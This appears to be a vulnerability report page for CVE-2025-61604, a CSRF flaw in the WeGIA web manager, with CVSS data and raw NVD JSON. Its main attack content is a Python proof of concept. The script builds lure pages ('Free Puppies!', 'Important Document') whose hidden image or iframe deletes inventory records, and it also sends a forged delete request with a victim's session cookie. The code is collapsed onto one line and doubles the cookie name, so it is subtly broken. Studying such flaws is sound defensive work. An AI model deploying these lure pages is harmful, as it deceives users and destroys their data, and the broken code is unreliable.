Security Vulnerability Report
中文
CVE-2025-61604 CVSS 7.1 HIGH

CVE-2025-61604

Published: 2025-10-02 20:15:36
Last Modified: 2025-10-07 15:42:57

Description

WeGIA is an open source web manager with a focus on charitable institutions. Versions 3.4.12 and below contain a Cross-Site Request Forgery (CSRF) vulnerability. The delete operation for the Almoxarifado entity is exposed via HTTP GET without CSRF protection, allowing a third-party site to trigger the action using the victim’s authenticated session. This issue is fixed in version 3.5.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA ≤ 3.4.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61604 PoC - WeGIA CSRF Vulnerability # Exploits CSRF in Almoxarifado delete operation via HTTP GET import requests TARGET_URL = "http://target-wegia-server" SESSION_COOKIE = "PHPSESSID=victim_session_cookie_here" # Victim's authenticated session ITEM_ID = "1" # ID of the Almoxarifado item to delete # Method 1: Direct CSRF via image tag (most common attack vector) csrf_html = f""" <!DOCTYPE html> <html> <head><title>Free Puppies!</title></head> <body> <!-- When victim visits this page, browser sends GET request with their session cookie --> <img src="{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" style="display:none" /> <h1>Welcome! Loading content...</h1> </body> </html> """ # Save the malicious HTML page with open("malicious_page.html", "w") as f: f.write(csrf_html) print("[+] Malicious CSRF page saved to malicious_page.html") print(f"[+] When an authenticated WeGIA admin visits this page,") print(f"[+] the Almoxarifado item with ID={ITEM_ID} will be deleted.") # Method 2: Direct exploitation demonstration def exploit_directly(): """ Direct exploitation - simulating victim's browser sending the request with their authenticated session cookie """ cookies = {"PHPSESSID": SESSION_COOKIE} delete_url = f"{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" # The vulnerable endpoint accepts GET request without CSRF protection response = requests.get(delete_url, cookies=cookies) if response.status_code == 200 or response.status_code == 302: print(f"[+] Exploit successful! Item {ITEM_ID} deleted.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Method 3: CSRF via hidden iframe (alternative delivery method) csrf_iframe_html = f""" <!DOCTYPE html> <html> <head><title>Important Document</title></head> <body> <iframe src="{TARGET_URL}/almoxarifado/excluir?id={ITEM_ID}" style="display:none"></iframe> <p>Document loading...</p> </body> </html> """ with open("csrf_iframe.html", "w") as f: f.write(csrf_iframe_html) print("[+] Iframe-based CSRF page saved to csrf_iframe.html")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61604", "sourceIdentifier": "[email protected]", "published": "2025-10-02T20:15:35.803", "lastModified": "2025-10-07T15:42:57.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source web manager with a focus on charitable institutions. Versions 3.4.12 and below contain a Cross-Site Request Forgery (CSRF) vulnerability. The delete operation for the Almoxarifado entity is exposed via HTTP GET without CSRF protection, allowing a third-party site to trigger the action using the victim’s authenticated session. This issue is fixed in version 3.5.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.0", "matchCriteriaId": "786F635A-7423-4F96-B646-A37E357DCA1A"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/839de09798f61c9a76043bb2c4b3063d310c5aed", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-59hm-4m9h-ch3m", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-59hm-4m9h-ch3m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}